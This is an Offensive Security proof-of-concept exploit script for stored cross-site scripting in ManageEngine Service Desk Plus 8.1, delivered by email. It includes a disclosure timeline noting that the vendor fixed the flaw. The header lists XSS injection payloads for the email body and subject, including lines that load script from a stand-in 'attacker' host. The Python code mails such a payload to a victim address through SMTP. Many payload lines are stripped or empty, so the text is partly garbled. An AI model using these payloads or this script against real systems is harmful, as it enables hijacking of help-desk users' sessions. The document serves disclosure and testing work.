#!/usr/bin/python ''' Author: loneferret of Offensive Security Product: ManageEngine Service Desk Plus (Windows standard) Version: 8.1 Vendor Site: http://www.manageengine.com Software Download: http://www.manageengine.com/products/service-desk/download.html Timeline: 29 May 2012: Vulnerability reported to CERT 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012 27 Jul 2012: Vendor requested additional information 30 Jul 2012: Additional proofs of concept provided to vendor 03 Aug 2012: Vendor acknowledged receipt of PoC and declares intent to fix 08 Aug 2012: Public Disclosure 06 Sep 2012: Update from Vendor. Issue fixed in ServiceDesk Plus build 8111. Installed On: Windows Server 2003 SP2 Client Test OS: Window 7 Pro SP1 (x86) Browser Used: Internet Explorer 9 Injection Point: Body Injection Payload(s): 1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>=&{} 2: 3: 4: 5: exp/* 6: 7: 8: 9: 10: 11: 13: "> 14: 15: 16: 17: 18: 19: PT SRC="http://attacker/xss.js"> 20: Injection Point: Subject Injection Payload(s): 1: 2: 3: 4:
5: 6: 7: 8: 9: 10: 11: 12: 13: 17: "> 18: 19: 20: 21: 22: 23: PT SRC="http://attacker/xss.js"> 24: ''' import smtplib, urllib2 payload = """""" def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: hacker@offsec.local\n" msg += "To: victim@victim.local\n" msg += 'Date: Today\r\n' msg += "Subject: XSS" + payload + "\n" msg += "Content-type: text/html\n\n" msg += "XSS.\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "hacker@offsec.local" password = "123456" dstemail = "victim@victim.local" frmemail = "hacker@offsec.local" smtpsrv = "172.16.84.171" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password)